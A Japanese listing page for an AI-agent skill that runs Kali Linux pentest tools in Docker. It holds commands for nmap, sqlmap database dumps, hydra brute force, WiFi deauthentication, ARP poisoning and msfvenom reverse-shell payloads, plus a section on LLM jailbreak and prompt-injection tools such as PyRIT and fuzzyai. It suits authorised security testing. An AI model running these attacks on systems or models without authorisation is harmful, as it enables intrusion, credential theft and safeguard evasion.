mcpField
K
kali-docker-pentesting

kali-docker-pentesting

github.com/kroeghaセキュリティ24206 回インストール15 週間前に更新
リポジトリ

kali-docker-pentesting について

Kali LinuxのDockerコンテナでコマンドを実行するための、セキュリティテスター向けペネトレーションテストスキルです。200種類以上のツールを含むコンテナの管理と利用方法を扱い、MCPサーバーではなくbash_toolでコマンドを直接実行します。

主な機能

  1. 01bash_toolでコンテナ内コマンドを直接実行
  2. 02Kaliコンテナの起動と更新を管理
  3. 03ネットワークスキャンとWebテストに対応
  4. 04パスワードテストと情報収集ツールを収録

活用シーン

  1. 01許可された環境でホストやポートをスキャン
  2. 02Webアプリケーションやサーバー設定を評価
  3. 03パスワードのセキュリティテストを実施
  4. 04ドメイン、DNS、公開情報を収集

MCP 対応

MCPサーバーを使わず、bash_toolからコマンドを直接実行する構成が記載されています。

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/kroegha/kali-docker-pentesting --skill kali-docker-pentesting

インストール後、Claude Code で/kali-docker-pentestingを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

Dockerfile
docker-compose.yml
README.md
QUICK-START.md

詳細

Kali Docker ペンテストスキル

概要

このスキルを使うと、200 種類以上のペンテストツールを備えた包括的な Kali Linux Docker コンテナを効率よく利用できます。MCP サーバーを使う代わりに、bash_tool 経由で直接コマンドを実行できるため、トークンを 70%節約できます。

このホストでの正式な名前(そのまま使用してください。このスキルの以前のバージョンでは単に kali と指定していましたが、実行中のコンテナ名と一致しません):

  • イメージ: kali-comprehensive:latest(github.com/kroegha/kali-docker-pentesting からビルド。ベースは kalilinux/kali-rolling:latest で、Kali メタパッケージと Python セキュリティライブラリを含みます)
  • コンテナ: kali-pentest(長時間実行中。docker ps -a で確認できます)

コマンドを実行する前に確認してください:docker ps --filter name=kali-pentest。マシンによってコンテナ名が異なる場合は、以下の docker exec 呼び出しで名前を置き換えてください。

コンテナ管理

コンテナの起動
# Basic start
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -v $(pwd)/results:/results \
  kali-comprehensive

# With network capabilities (for actual scanning)
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -v $(pwd)/results:/results \
  --cap-add=NET_RAW \
  --cap-add=NET_ADMIN \
  --network host \
  kali-comprehensive

# With GUI access (VNC)
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -p 5900:5900 \
  -p 3389:3389 \
  kali-comprehensive
コマンドの実行
# Execute single command
docker exec kali-pentest [tool] [options]

# Interactive shell
docker exec -it kali-pentest /bin/bash

# Copy files out
docker cp kali-pentest:/results/scan.txt ./output/

# Copy files in
docker cp ./wordlist.txt kali-pentest:/workspace/
コンテナのライフサイクル
# Stop container
docker stop kali-pentest

# Start existing container
docker start kali-pentest

# Remove container
docker rm kali-pentest

# View logs
docker logs kali-pentest
コンテナの OS とツールの更新

Kali はローリングリリースです。バージョンアップはなく、最新のパッケージを取得するだけです。コンテナにはインストールに時間のかかる 200 種類以上のツールが含まれているため、最初からビルドし直すのではなく、その場で更新してコミットしてください。

# 1. Back up the current image first (instant, enables rollback)
docker tag kali-comprehensive:latest kali-comprehensive:backup-$(date +%Y-%m-%d)

# 2. Full-upgrade all packages inside the running container (non-interactive, keep existing configs)
docker exec kali-pentest bash -c \
  'export DEBIAN_FRONTEND=noninteractive; apt-get update && \
   apt-get -y -o Dpkg::Options::="--force-confold" -o Dpkg::Options::="--force-confdef" full-upgrade && \
   apt-get -y autoremove && apt-get clean'

# 3. Persist the upgraded state back into the image
docker commit kali-pentest kali-comprehensive:latest

# Roll back if an upgrade breaks something:
#   docker tag kali-comprehensive:backup-YYYY-MM-DD kali-comprehensive:latest

クリーンビルド(代替方法): 最新のベースから新しく、より小さなイメージを作成するには、リポジトリをクローンして再ビルドします。再ダウンロードが必要なため時間はかかりますが、再現可能です。

git clone https://github.com/kroegha/kali-docker-pentesting.git
cd kali-docker-pentesting && docker compose build

ツールカタログ

🔍 ネットワーク検出とスキャン

nmap - ネットワークマッパー

説明: ホスト検出、ポートスキャン、サービス検出に使われる業界標準のネットワークスキャナーです。

使用方法:

# Basic scan
docker exec kali-pentest nmap 192.168.1.1

# Service version detection
docker exec kali-pentest nmap -sV 192.168.1.1

# OS detection
docker exec kali-pentest nmap -O 192.168.1.1

# Comprehensive scan
docker exec kali-pentest nmap -sC -sV -O -p- 192.168.1.1

# Save results
docker exec kali-pentest nmap -sV -oA /results/scan 192.168.1.0/24

一般的なオプション:

  • -sS - SYN ステルススキャン
  • -sT - TCP 接続スキャン
  • -sU - UDP スキャン
  • -sV - バージョン検出
  • -O - OS 検出
  • -A - アグレッシブスキャン(OS、バージョン、スクリプト、traceroute)
  • -p- - 65535 個すべてのポートをスキャン
  • -Pn - ping を省略(ホストが稼働中と仮定)
  • -T4 - 高速なタイミング設定(0~5)
  • -oA - すべての形式で出力
masscan - 高速ポートスキャナー

説明: 6 分以内にインターネット全体をスキャンできる、非常に高速なポートスキャナーです。

使用方法:

# Scan specific ports
docker exec kali-pentest masscan 192.168.1.0/24 -p80,443,8080

# Scan all ports fast
docker exec kali-pentest masscan 192.168.1.0/24 -p0-65535 --rate=10000

# Save results
docker exec kali-pentest masscan 10.0.0.0/8 -p80 -oL /results/masscan.txt
netdiscover - ネットワーク検出

説明: アクティブ/パッシブ方式の ARP 調査ツールです。

使用方法:

# Passive mode
docker exec kali-pentest netdiscover -p -i eth0

# Active mode with range
docker exec kali-pentest netdiscover -r 192.168.1.0/24
arp-scan - ARP スキャナー

説明: ARP を使用して IPv4 ホストを検出します。

使用方法:

docker exec kali-pentest arp-scan --localnet
docker exec kali-pentest arp-scan 192.168.1.0/24

🌐 Web アプリケーションテスト

nikto - Web サーバースキャナー

説明: Web サーバーの脆弱性スキャナーです。

使用方法:

# Basic scan
docker exec kali-pentest nikto -h http://target.com

# SSL scan
docker exec kali-pentest nikto -h https://target.com -ssl

# Save results
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt

# Tuning options
docker exec kali-pentest nikto -h http://target.com -Tuning 123bde
dirb - ディレクトリ総当たりツール

説明: Web コンテンツスキャナーです。

使用方法:

# Default wordlist
docker exec kali-pentest dirb http://target.com

# Custom wordlist
docker exec kali-pentest dirb http://target.com /usr/share/wordlists/dirb/common.txt

# Save results
docker exec kali-pentest dirb http://target.com -o /results/dirb.txt

# Extensions
docker exec kali-pentest dirb http://target.com -X .php,.html,.txt
gobuster - ディレクトリ/DNS 列挙

説明: 高速なディレクトリおよび DNS 列挙ツールです。

使用方法:

# Directory enumeration
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# DNS subdomain enumeration
docker exec kali-pentest gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Virtual host discovery
docker exec kali-pentest gobuster vhost -u http://target.com -w /usr/share/wordlists/vhosts.txt
wfuzz - Web ファザー

説明: Web アプリケーションのファザーです。

使用方法:

# Directory fuzzing
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://target.com/FUZZ

# Parameter fuzzing
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/passwords.txt http://target.com/page?id=FUZZ

# POST data fuzzing
docker exec kali-pentest wfuzz -c -z file,users.txt -z file,pass.txt -d "user=FUZZ&pass=FUZ2Z" http://target.com/login
sqlmap - SQL インジェクションツール

説明: SQL インジェクションとデータベース乗っ取りを自動化するツールです。

使用方法:

# Basic test
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1"

# POST request
docker exec kali-pentest sqlmap -u "http://target.com/login" --data="user=admin&pass=test"

# Enumerate databases
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --dbs

# Dump database
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" -D dbname --dump

# Full automation
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch --dump-all
wpscan - WordPress スキャナー

説明: WordPress の脆弱性スキャナーです。

使用方法:

# Basic scan
docker exec kali-pentest wpscan --url http://target.com

# Enumerate users
docker exec kali-pentest wpscan --url http://target.com --enumerate u

# Enumerate plugins
docker exec kali-pentest wpscan --url http://target.com --enumerate p

# Aggressive scan
docker exec kali-pentest wpscan --url http://target.com --enumerate ap,at,cb,dbe
whatweb - Web サイトのフィンガープリンティング

説明: Web サイトと Web テクノロジーを特定します。

使用方法:

# Basic scan
docker exec kali-pentest whatweb http://target.com

# Aggressive mode
docker exec kali-pentest whatweb -a 3 http://target.com

# Scan multiple URLs
docker exec kali-pentest whatweb -i /workspace/urls.txt

🔐 パスワード攻撃

john - John the Ripper

説明: 高速なパスワードクラッカーです。

使用方法:

# Crack with default wordlist
docker exec kali-pentest john /workspace/hashes.txt

# Use rockyou wordlist
docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt /workspace/hashes.txt

# Crack specific format
docker exec kali-pentest john --format=raw-md5 /workspace/hashes.txt

# Show cracked passwords
docker exec kali-pentest john --show /workspace/hashes.txt

# Incremental mode
docker exec kali-pentest john --incremental /workspace/hashes.txt
hashcat - 高度なパスワードリカバリー

説明: 世界最速のパスワードクラッカーです。

使用方法:

# MD5 crack
docker exec kali-pentest hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA256 crack
docker exec kali-pentest hashcat -m 1400 -a 0 hashes.txt wordlist.txt

# Brute force
docker exec kali-pentest hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a

# Show results
docker exec kali-pentest hashcat -m 0 hashes.txt --show

ハッシュモード:

  • 0 = MD5
  • 100 = SHA1
  • 1400 = SHA256
  • 1700 = SHA512
  • 1000 = NTLM
  • 3200 = bcrypt
hydra - ネットワークパスワードクラッカー

説明: 高速なネットワークログインクラッカーです。

使用方法:

# SSH brute force
docker exec kali-pentest hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1

# HTTP POST form
docker exec kali-pentest hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

# FTP brute force
docker exec kali-pentest hydra -L users.txt -P passwords.txt ftp://192.168.1.1

# Multiple protocols
docker exec kali-pentest hydra -L users.txt -P passwords.txt 192.168.1.1 ssh ftp http
medusa - 並列パスワードクラッカー

説明: 高速な並列処理に対応した、モジュール式のログイン総当たりツールです。

使用方法:

# SSH attack
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M ssh

# HTTP basic auth
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M http
crunch - ワードリスト生成ツール

説明: カスタムワードリストを生成します。

使用方法:

# Generate 6-8 character wordlist
docker exec kali-pentest crunch 6 8 -o /results/wordlist.txt

# Custom charset
docker exec kali-pentest crunch 4 6 0123456789 -o /results/numbers.txt

# Pattern-based
docker exec kali-pentest crunch 8 8 -t pass@@@@ -o /results/pattern.txt

📡 ワイヤレスセキュリティ

aircrack-ng - WiFi セキュリティスイート

説明: WiFi ネットワークのセキュリティを評価するための包括的なスイートです。

使用方法:

# Start monitor mode
docker exec kali-pentest airmon-ng start wlan0

# Capture packets
docker exec kali-pentest airodump-ng wlan0mon

# Capture specific network
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon

# Deauth attack
docker exec kali-pentest aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Crack WPA handshake
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
wifite - ワイヤレス攻撃の自動化

説明: ワイヤレス攻撃を自動化するツールです。

使用方法:

# Automatic WPA attack
docker exec kali-pentest wifite --wpa

# All attack types
docker exec kali-pentest wifite

# Specific target
docker exec kali-pentest wifite -i wlan0 --kill
reaver - WPS 攻撃

説明: WPS PIN をブルートフォースで特定します。

使用方法:

docker exec kali-pentest reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

🕵️ 情報収集

theharvester - メールアドレス/サブドメインの収集

説明: 公開情報源からメールアドレス、サブドメイン、IP アドレスを収集します。

使用方法:

# Search all sources
docker exec kali-pentest theharvester -d target.com -b all

# Specific source
docker exec kali-pentest theharvester -d target.com -b google

# Save results
docker exec kali-pentest theharvester -d target.com -b all -f /results/harvest
dnsrecon - DNS 列挙

説明: DNS の列挙とネットワーク偵察を行います。

使用方法:

# Standard enumeration
docker exec kali-pentest dnsrecon -d target.com

# Zone transfer
docker exec kali-pentest dnsrecon -d target.com -a

# Brute force subdomains
docker exec kali-pentest dnsrecon -d target.com -D /usr/share/wordlists/subdomains.txt -t brt
sublist3r - サブドメイン列挙

説明: OSINT を使用してサブドメインを高速に列挙します。

使用方法:

# Basic enumeration
docker exec kali-pentest sublist3r -d target.com

# Enable brute force
docker exec kali-pentest sublist3r -d target.com -b

# Save results
docker exec kali-pentest sublist3r -d target.com -o /results/subdomains.txt
enum4linux - SMB 列挙

説明: Windows および Samba システムから情報を列挙するツールです。

使用方法:

# Full enumeration
docker exec kali-pentest enum4linux -a 192.168.1.1

# User enumeration
docker exec kali-pentest enum4linux -U 192.168.1.1

# Share enumeration
docker exec kali-pentest enum4linux -S 192.168.1.1
dmitry - 詳細な情報収集

説明: Deepmagic 情報収集ツールです。

使用方法:

# Full scan
docker exec kali-pentest dmitry -winsepo /results/dmitry.txt target.com

# Subdomain search
docker exec kali-pentest dmitry -s target.com

🛡️ エクスプロイトフレームワーク

metasploit-framework - ペネトレーションテストフレームワーク

説明: 世界で最も広く使用されているペネトレーションテストフレームワークです。

使用方法:

# Start msfconsole
docker exec -it kali-pentest msfconsole

# Generate payload
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > /results/payload.exe

# Search exploits
docker exec -it kali-pentest bash -c "echo 'search tomcat' | msfconsole -q"

# Run resource script
docker exec kali-pentest msfconsole -r /workspace/script.rc

よく使われる msfvenom ペイロード:

# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o shell.apk
social-engineer-toolkit (SET)

説明: ソーシャルエンジニアリングのペネトレーションテストフレームワークです。

使用方法:

# Start SET
docker exec -it kali-pentest setoolkit

🔬 フォレンジックと分析

binwalk - ファームウェア分析

説明: ファームウェアイメージを分析して抽出します。

使用方法:

# Scan for embedded files
docker exec kali-pentest binwalk /workspace/firmware.bin

# Extract files
docker exec kali-pentest binwalk -e /workspace/firmware.bin

# Signature scan
docker exec kali-pentest binwalk --signature /workspace/file.bin
foremost - ファイルカービング

説明: ヘッダーとフッターに基づいてファイルを復元します。

使用方法:

# Recover all file types
docker exec kali-pentest foremost -i /workspace/image.dd -o /results/recovered

# Specific file types
docker exec kali-pentest foremost -t jpg,png,pdf -i /workspace/image.dd -o /results/
volatility - メモリフォレンジック

説明: 高度なメモリフォレンジックフレームワークです。

使用方法:

# Get image info
docker exec kali-pentest volatility -f /workspace/memory.dump imageinfo

# List processes
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 pslist

# Dump process
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 procdump -p 1234 -D /results/
strings - 文字列の抽出

説明: ファイルから印字可能な文字列を抽出します。

使用方法:

# Basic extraction
docker exec kali-pentest strings /workspace/binary > /results/strings.txt

# Minimum length 10
docker exec kali-pentest strings -n 10 /workspace/binary

# Unicode strings
docker exec kali-pentest strings -e l /workspace/binary
exiftool - メタデータの抽出

説明: ファイルのメタ情報を読み書きします。

使用方法:

# View metadata
docker exec kali-pentest exiftool /workspace/image.jpg

# Remove all metadata
docker exec kali-pentest exiftool -all= /workspace/image.jpg

# Batch process
docker exec kali-pentest exiftool /workspace/*.jpg

🔄 リバースエンジニアリング

ghidra - ソフトウェアのリバースエンジニアリング

説明: NSA のソフトウェアリバースエンジニアリングフレームワークです。

使用方法:

# GUI mode (requires X11 forwarding)
docker exec -it kali-pentest ghidra

# Headless mode
docker exec kali-pentest analyzeHeadless /workspace /project -import /workspace/binary.exe
radare2 - リバースエンジニアリングフレームワーク

説明: 高度なリバースエンジニアリングフレームワークです。

使用方法:

# Open binary
docker exec -it kali-pentest r2 /workspace/binary

# Analyze
docker exec -it kali-pentest bash -c "echo 'aaa; pdf' | r2 /workspace/binary"

# Disassemble
docker exec kali-pentest r2 -c 'pd 10' /workspace/binary
gdb - GNU デバッガー

説明: Unix システム用の標準デバッガーです。

使用方法:

# Debug binary
docker exec -it kali-pentest gdb /workspace/binary

# With PEDA
docker exec -it kali-pentest gdb -q /workspace/binary

🎯 脆弱性評価

lynis - セキュリティ監査

説明: Unix/Linux システム用のセキュリティ監査ツールです。

使用方法:

# Full audit
docker exec kali-pentest lynis audit system

# Quick scan
docker exec kali-pentest lynis audit system --quick
nikto - Web 脆弱性スキャナー

(Web アプリケーションテストのセクションを参照)

openvas - 脆弱性スキャナー

説明: 多機能な脆弱性スキャナーです。

使用方法:

# Start OpenVAS (requires initialization)
docker exec kali-pentest openvas-start

🤖 LLM/プロンプトインジェクションテスト

プロンプトインジェクション、ジェイルブレイク、データ漏えい、および関連する生成 AI のリスクについて、LLM を利用するアプリケーション(チャットボット、RAG システム、AI エージェント)を評価するためのツールです。これらはKali に標準で含まれていません。このイメージに追加されています(コンテナーの更新を参照)。

インストール先(Kali の apt 管理下にあるシステム Python との競合を避けるため、分離しています):

ツールインストール方法実行コマンド
garakpipx(グローバル)garak
agentic-radarpipx(グローバル)agentic-radar
promptfoonpm(グローバル)promptfoo
promptmap2git clone /opt/promptmapcd /opt/promptmap && python3 promptmap2.py
PyRITvenv /opt/venvs/pyrit/opt/venvs/pyrit/bin/python
fuzzyaivenv /opt/venvs/fuzzyai/opt/venvs/fuzzyai/bin/fuzzyai

実行する前に:

  • すべてのツールはネットワーク経由で対象 LLMをテストし、ほとんどのツールは判定用/攻撃用 LLMも使用します。そのため、対象に接続できることに加え、判定用の API キー(OPENAI_API_KEY、ANTHROPIC_API_KEY、または Azure の認証情報)が必要です。
  • キーをイメージに埋め込まないでください。 ホスト上にのみ置く env ファイルを使って、実行時に渡してください:
    # host: keys.env  (chmod 600, never commit)
    #   OPENAI_API_KEY=sk-...
    docker run --rm --env-file keys.env kali-comprehensive garak --help
    # or for the long-running container, set per-exec:
    docker exec -e OPENAI_API_KEY=sk-... kali-pentest garak --list_probes
    
  • ツールの接続先にはローカルモデルではなくAPI エンドポイントを指定してください。ローカルの HF モデルの読み込みには、コンテナーにない GPU が必要です。
garak - LLM 脆弱性スキャナー(「LLM の nmap」)

説明: NVIDIA の幅広い範囲をカバーするプローブ/検出スキャナーです(プロンプトインジェクション、ジェイルブレイク、データ漏えい、エンコーディング攻撃、有害性)。まず実行してベースラインを確認でき、スコア付きレポートを生成します。活発にメンテナンスされています。

使用方法:

# List available probes
docker exec kali-pentest garak --list_probes

# Prompt-injection scan of an OpenAI model
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  garak --model_type openai --model_name gpt-4o-mini --probes promptinject

# Full scan, JSON report to /results
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  garak --model_type openai --model_name gpt-4o-mini --report_prefix /results/garak
promptmap2 - 特定アプリ向けプロンプトインジェクションスキャナー

説明: 特定のアプリを対象とする、専用のインジェクションテスターです。ホワイトボックス(システムプロンプトを指定)またはブラックボックス(HTTP エンドポイントを指定)で使用できます。YAML のルールカテゴリは、ジェイルブレイク、プロンプト窃取、有害性、注意そらし、バイアスです。/opt/promptmap にインストールされています。

使用方法:

# Test your app's system prompt against an OpenAI target (needs OPENAI_API_KEY)
docker exec -e OPENAI_API_KEY=sk-... kali-pentest bash -c \
  'cd /opt/promptmap && python3 promptmap2.py \
     --prompts /workspace/system_prompt.txt \
     --target-model gpt-4o-mini --target-model-type openai'
# target-model-type: openai | anthropic | google | ollama | xai | http (black-box endpoint)
promptfoo - レッドチームおよび評価フレームワーク(標準に準拠)

説明: Node ベースの CLI です。レッドチームモードでは、50 以上のプラグインを使って敵対的プロンプトを自動生成し(プロンプトインジェクション、ジェイルブレイク、PII、過剰なエージェンシーなど)、検出結果を OWASP LLM Top 10 / NIST AI RMF / MITRE ATLAS に対応付けます。再現性があり、レポートを作成できる診断に最適です。

使用方法:

# Initialise a red-team config, then run it
docker exec kali-pentest bash -c 'cd /workspace && promptfoo redteam init'
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  bash -c 'cd /workspace && promptfoo redteam run'
PyRIT - マルチターン AI レッドチーミングフレームワーク

説明: OpenAI/Azure/Anthropic/カスタム HTTP ターゲットに対して、より深いマルチターン攻撃(Crescendo、TAP、Skeleton Key)を実行できる、Microsoft のスクリプト対応フレームワークです。一度きりの CLI ではなく、Python の ライブラリです。garak/promptmap で何か見つかった後に「深く掘り下げる」ためのツールです。依存関係が最も多くなります。

使用方法:

# Run a PyRIT attack script with the PyRIT venv's Python (write the script to /workspace first)
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  /opt/venvs/pyrit/bin/python /workspace/pyrit_crescendo.py
agentic-radar - エージェント型ワークフロースキャナー

説明: エージェント型アプリ(LangGraph、CrewAI、OpenAI Agents SDK、n8n、MCP ツール)を対象とする、SplxAI の静的解析スキャナーです。エージェント/ツールのトポロジーをマッピングし、garak/promptmap では検出できない脆弱性を指摘します。対象が単体のモデルではなくエージェントの場合に使用してください。

使用方法:

# Scan an agent project mounted into the container, HTML report to /results
docker exec kali-pentest agentic-radar scan -i /workspace/agent_project -o /results/agentic-radar.html
fuzzyai - 積極的なジェイルブレイクファザー

説明: ジェイルブレイクに特化した、CyberArk の LLM ファザーです。ASCII/Unicode タグの密輸、遺伝的敵対的サフィックス、many-shot などに対応します。複数のプロバイダーに対応しています。専用の venv /opt/venvs/fuzzyai にインストールされています(上流の torch/numpy のバージョン指定は、Python 3.13 との互換性のため緩和されています)。サブコマンドは fuzz と webui です。バージョンによって変わる全攻撃モードの一覧は、wikiを確認してください。

使用方法:

# Single-prompt jailbreak fuzz against an OpenAI model
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  /opt/venvs/fuzzyai/bin/fuzzyai fuzz -m openai/gpt-4o -a def -t "test prompt"
#   -m model  -a attack_modes  -t target_prompt  (-T file for many prompts, -s system prompt)
参考フレームワーク(レポートで引用してください)
  • OWASP Top 10 for LLM Applications (2025) — LLM01 = プロンプトインジェクション。https://genai.owasp.org/llm-top-10/
  • MITRE ATLAS — AI システム向けの敵対的脅威マトリクス。https://atlas.mitre.org/
  • NIST AI RMF (Generative AI Profile) — promptfoo/DeepTeam のマッピングで参照されるリスク枠組み。

📊 ネットワーク分析

tcpdump - パケットキャプチャ

説明: コマンドラインのパケットアナライザーです。

使用方法:

# Capture on interface
docker exec kali-pentest tcpdump -i eth0

# Capture to file
docker exec kali-pentest tcpdump -i eth0 -w /results/capture.pcap

# Read file
docker exec kali-pentest tcpdump -r /results/capture.pcap

# Filter HTTP
docker exec kali-pentest tcpdump -i eth0 'tcp port 80'
tshark - ネットワークプロトコルアナライザー

説明: ターミナルベースの Wireshark です。

使用方法:

# Capture packets
docker exec kali-pentest tshark -i eth0

# Capture to file
docker exec kali-pentest tshark -i eth0 -w /results/capture.pcap

# Filter display
docker exec kali-pentest tshark -r /results/capture.pcap -Y 'http.request'
ettercap - ネットワークスニファー/インターセプター

説明: MITM 攻撃向けの包括的なツールスイートです。

使用方法:

# Text mode
docker exec -it kali-pentest ettercap -T -i eth0

# ARP poisoning
docker exec kali-pentest ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//

一般的なペネトレーションテストのワークフロー

1. ネットワーク偵察

# Step 1: Discover live hosts
docker exec kali-pentest nmap -sn 192.168.1.0/24 -oA /results/hosts

# Step 2: Port scan discovered hosts
docker exec kali-pentest nmap -sV -p- -iL /results/hosts.txt -oA /results/ports

# Step 3: Enumerate services
docker exec kali-pentest nmap -sC -sV -p 80,443,22,21 192.168.1.0/24 -oA /results/services

2. Web アプリケーションの評価

# Step 1: Identify web technologies
docker exec kali-pentest whatweb http://target.com

# Step 2: Directory enumeration
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -o /results/dirs.txt

# Step 3: Vulnerability scan
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt

# Step 4: Test for SQLi
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch

3. パスワードクラッキングのワークフロー

# Step 1: Generate wordlist
docker exec kali-pentest crunch 8 12 -t Pass@@@@ -o /results/wordlist.txt

# Step 2: Crack hashes
docker exec kali-pentest john --wordlist=/results/wordlist.txt /workspace/hashes.txt

# Step 3: Network service brute force
docker exec kali-pentest hydra -L /workspace/users.txt -P /results/wordlist.txt ssh://192.168.1.1

4. ワイヤレスネットワークの評価

# Step 1: Enable monitor mode
docker exec kali-pentest airmon-ng start wlan0

# Step 2: Scan networks
docker exec kali-pentest airodump-ng wlan0mon

# Step 3: Capture handshake
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon

# Step 4: Deauth clients
docker exec kali-pentest aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Step 5: Crack WPA
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap

5. エクスプロイトのワークフロー

# Step 1: Search for exploit
docker exec kali-pentest searchsploit apache 2.4.49

# Step 2: Generate payload
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /results/payload.exe

# Step 3: Setup listener in Metasploit
docker exec -it kali-pentest msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"

ファイル管理

ホストとコンテナ間でのファイルのコピー

# Copy TO container
docker cp ./local-file.txt kali-pentest:/workspace/

# Copy FROM container
docker cp kali-pentest:/results/scan.txt ./output/

# Copy directory
docker cp kali-pentest:/results/ ./output/

ワードリストの使用

一般的なワードリストの場所:

  • /usr/share/wordlists/rockyou.txt - 最も広く使われているパスワードリスト
  • /usr/share/wordlists/dirb/common.txt - 一般的なディレクトリ
  • /usr/share/seclists/ - SecLists コレクション
  • /usr/share/wordlists/metasploit/ - Metasploit のワードリスト
# List available wordlists
docker exec kali-pentest find /usr/share/wordlists -type f

# Extract rockyou (if gzipped)
docker exec kali-pentest gunzip /usr/share/wordlists/rockyou.txt.gz

トラブルシューティング

コンテナが起動しない

# Check logs
docker logs kali-pentest

# Remove and recreate
docker rm kali-pentest
docker run -d --name kali-pentest kali-comprehensive

ネットワークの問題

# Use host network
docker run -d --name kali-pentest --network host kali-comprehensive

# Add network capabilities
docker run -d --name kali-pentest --cap-add=NET_RAW --cap-add=NET_ADMIN kali-comprehensive

権限の問題

# Run as root (already default)
docker exec -u root kali-pentest [command]

# Fix workspace permissions
docker exec kali-pentest chmod -R 777 /workspace /results

Metasploit データベースの問題

# Initialize database
docker exec kali-pentest service postgresql start
docker exec kali-pentest msfdb init

# Check status
docker exec kali-pentest msfdb status

ベストプラクティス

1. 結果は必ず保存する

# Use output flags
-o filename.txt          # Generic output
-oA basename            # Nmap: all formats
-w filename             # Write to file
> /results/output.txt   # Shell redirect

2. 永続化にはボリュームを使用する

以下のディレクトリをマウントします:

  • /workspace - 作業ファイル
  • /results - スキャン結果
  • /wordlists - カスタムワードリスト

3. テストのスコープを定める

常に以下を行ってください:

  • 書面による承認を得る
  • スコープの境界を定義する
  • すべてを記録する
  • 調査結果を責任を持って報告する

4. テスト後にクリーンアップする

# Stop monitor mode
docker exec kali-pentest airmon-ng stop wlan0mon

# Clear temporary files
docker exec kali-pentest rm -rf /tmp/*

# Archive results
docker exec kali-pentest tar -czf /results/assessment-$(date +%Y%m%d).tar.gz /results/*.txt

クイックリファレンス

ポートスキャン

docker exec kali-pentest nmap -sV -p- target

ディレクトリ列挙

docker exec kali-pentest gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt

SQL インジェクション

docker exec kali-pentest sqlmap -u "http://target/page?id=1" --batch

パスワードクラッキング

docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

ネットワークブルートフォース

docker exec kali-pentest hydra -l admin -P passwords.txt ssh://target

WiFi クラッキング

docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap

このスキルを使用する場面

以下の場合にこのスキルを使用してください:

  • 許可を得たペネトレーションテストの実施
  • セキュリティ評価の実施
  • ネットワークセキュリティのテスト
  • Web アプリケーションの分析
  • パスワードのクラッキング(許可を得た場合)
  • ワイヤレスセキュリティの監査
  • フォレンジック分析
  • リバースエンジニアリング
  • セキュリティ技術の学習

Claude はこのスキルを読み込み、bash_tool 経由でコマンドを実行します。これにより、MCP プロトコルのオーバーヘッドなしに、すべてのペンテストツールへ効率的かつ直接的にアクセスできます。

コメント